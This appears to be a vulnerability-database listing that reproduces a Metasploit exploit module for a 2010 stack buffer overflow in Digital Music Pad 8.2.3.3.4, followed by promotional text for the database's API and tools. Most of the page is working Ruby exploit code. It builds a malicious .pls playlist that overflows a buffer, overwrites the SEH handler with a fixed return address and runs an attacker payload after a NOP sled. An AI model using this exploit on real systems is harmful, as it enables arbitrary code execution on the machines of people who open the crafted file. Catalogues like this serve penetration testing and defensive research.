Lucene search
K

Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow

🗓️ 04 Oct 2010 03:42:58Reported by Abhishek Lyall <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 43 Views

Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow when opening a malicious pls file allows remote attackers to execute arbitrary cod

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow',
      'Description' => %q{
          This module exploits a buffer overflow in Digital Music Pad Version 8.2.3.3.4
        When opening a malicious pls file with the Digital Music Pad,
        a remote attacker could overflow a buffer and execute
        arbitrary code.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Abhishek Lyall <abhilyall[at]gmail.com>'
        ],
      'References' =>
        [
          [ 'OSVDB', '68178' ],
          [ 'URL', 'http://web.archive.org/web/20100923154433/http://secunia.com:80/advisories/41519' ],
          [ 'EDB', '15134' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload' =>
        {
          'Space' => 4720,
          'BadChars' => "\x00\x20\x0a\x0d",
          'DisableNops' => 'True',
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [ 'Windows XP SP2', { 'Ret' => 0x73421DEF } ], # p/p/r msvbvm60.dll
        ],
      'Privileged' => false,
      'DefaultTarget' => 0,
      'DisclosureDate' => '2010-09-17'))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls']),
      ])
  end

  def exploit

    # PLS Header
    sploit = "[playlist]\n"
    sploit << "File1="

    sploit << rand_text_alphanumeric(260)
    sploit << generate_seh_record(target.ret)

    sploit << "\x90" * 12                   # nop sled
    sploit << payload.encoded

    sploit << "\x90" * (4720 - payload.encoded.length)

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Mar 2023 10:43Current
7.8High risk
Vulners AI Score7.8
43